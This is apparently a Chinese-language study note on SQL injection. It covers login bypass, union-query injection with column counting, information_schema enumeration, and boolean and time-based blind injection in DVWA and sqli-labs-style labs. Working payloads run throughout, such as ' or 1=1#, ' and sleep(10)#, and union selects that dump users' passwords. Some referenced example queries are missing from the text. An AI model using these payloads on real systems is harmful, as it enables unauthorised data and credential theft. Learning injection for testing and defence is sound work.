SQL 注入学习笔记:从联合查询到盲注
2026-10-13
SQL 注入
Select * from admin where username=' admin' and password=' admin' 我们可以用'or 1=1#作为密码输入 构成的 sql 语句为: Select * from admin where username=' admin' and password=' ′ or 1=1#' 上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。原因是在 where 子句后,我们可以看到三个条件语句 username=′ admin′ and password=′′ or 1=1。三个条件用 and 和 or 进行连接。在 sql 中,我们 and 的运算优先 级大于 or 的元算优先级。因此可以看到第一个条件(用 a 表示)是真的,第二个条件(用 b 表示)是假的,a and b = false,第一个条件和第二个条件执行 and 后是假,再与第三个条件 or 运算,因为第三个条件 1=1 是恒成立的,所以结果自然就为真了。
下面我们尝试使用联合查询注入来获取更多的数据。联合查询注入实际上就是利用 SQL 语句中的union select 来对数据进行查询。
union 操作符的介绍
-
UNION 操作符用于合并两个或多个 SELECT 语句的结果集
-
UNION 内部的 SELECT 语句必须拥有相同数量的列。列也 必须拥有相似的数据类型
- 同时,每条 SELECT 语句中的列的顺序必须相同。
使用 union select 的时候,最重要的就是前后列数必须一致。那么,我们如何在不知道 Web 应用源码的情况下,获得其原本的查询列数呢?此时就需要用到order by语句。order by 语句会对查询语句的某一列进行排序,当碰到不存在的列(即要排序的列大于最大查询列数)的时候就会报错,因此适合用来判定查询列数。
可见,我们可以通过 order by 来确认原有的查询列数。此时会出现一个新的问题,那就是如何快速得到原有的查询列数呢?
需要格外注意的是,采用的查询语句格式需要结合具体的代码场景。例如在本例中,我们输入'order by 10#的原因需要结合查询语句来说明。原本的查询语句为:
此时$id 的值为'order by 10#,直接代入原语句中,得到:
可以看到,最后的单引号被#注释掉了,同时我们输入的单引号闭合掉了原语句中的第一个单引号,因此在保证语法正确的前提下,构造出了新的语义。
MySQL 中自带一个叫作information_schema的数据库,里面存储了所有数据库名、表名以及列名,可以通过以下语句进行查询。
查询所有数据库名:
select schema_name from information_schema.schemata
查询当前数据库的所有表名:
select table_name from information_schema.tables where table_schema=database()
查询指定表的所有列名:
select column_name from information_schema.columns where table_name='指定表名'
查询表中指定列的数据:
select 列名 from 表名
可构造查询语句
库名 ' union select 1,schema_name from information_schema.schemata#
表名 ' union select 1,table_name from information_schema.tables where table_schema=database()#
列名 ' union select 1,column_name from information_schema.columns where table_name='users'#
具体数据 ' union select user,password from users#
查询表中的数据,这里是查询users表中的user和password
可以自行构造,不必拘泥于具体格式。同时,在注入中,我们使用了单引号来“打破”原有的 SQL 查询结构。之所以使用单引号是由代码决定的,并不代表所有的场景都需要单引号。那么,到底什么样的场景需要用到引号,什么样的场景不需要引号(单引号或双引号)呢?下面是一个简单总结: ❑若引号报错,引号#不报错,则为字符型注入。 ❑若引号报错,引号#也报错,则为数字型注入。
注意:如果#是在 URL 中直接输入的,则需要写成 URL 编码格式,如%23,这是因为#在浏览器的 URL 中是具有特殊含义的,表示浏览器中的 fragment 标志位。fragment 标志位用来标记当前浏览网页的用户所处的页面位置,该字段不会发送到目标服务器(包括#),只在本地生效。所以,如果直接在 URL 中使用#,会导致该字符无法发送到目标服务器,从而导致注入失败。
SQL 注入(盲注)
盲注指没有数据回显的 SQL 注入
布尔盲注
我们结合 DVWA(Low Level)中的 SQL Injection(Blind)来讲解盲注入的相关知识点和原理。在该场景中,我们只会得到两类反馈结果,即 User ID exists in the database.或者 User ID is MISSING from the database.
服务器只会返回两种结果:当查询结果为真(成功)时,返回“User ID exists in the database.”;当查询结果为假(失败)时,返回“User ID is MISSING from the database.”。此时,我们可以利用这种特性,通过返回结果判断语句的执行结果为真(1)还是为假(0)。我们输入 1' and length(database())=4#,如果数据库名的长度确实为 4,则返回结果为真,否则为假。同理,我们可以依此逐字节判断数据库中的每一个字符。例如,我们输入以下内容:
后面语句部分的含义是判断数据库名字的第一个字符的 ASCII 码的值是否为 103,即字母'd',涉及 MySQL 的 ascii()函数和 substr()函数。其中,ascii()函数的作用是取字符的 ASCII 码;substr()函数的原型为 substr(str,pos,len),代表从 pos 开始的位置截取 str 字符串的 len 个字符(包括空白字符),其起始下标 pos 从 1 开始。
时间盲注
这类盲注入没有任何回显,此时无法根据回显信息对语句的执行结果进行判断,但是我们可以利用一些时间函数来判断,例如 sleep 函数等。我们在 SQL Injection(Blind)里面输入以下 Payload:
' and sleep(10)#
此时浏览器会进入一种卡顿的状态,卡顿时间略微高于 10 秒(网络延迟)。这种状态并不是由于网络原因造成的,而是 MySQL 数据库执行了 sleep(10)函数,即什么也不做,空转 10 秒。因此,我们可以利用这些函数特性,并结合判定语句来对结果进行判断。例如:
这里还需要用到 MySQL 的 IF 函数,函数语法为
如果浏览器确实存在 5 秒左右的延迟,就意味着当前数据库名的长度确实为 4。同理,我们也可以得到数据库中的其他数据信息。
联合查询注入实战
联合查询即两个 SELECT 语句合并查询,要求两张表列数相同。
注入点判断:输入单引号或双引号可看到报错,直接输入数字 id 有数据回显,说明存在注入点。
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users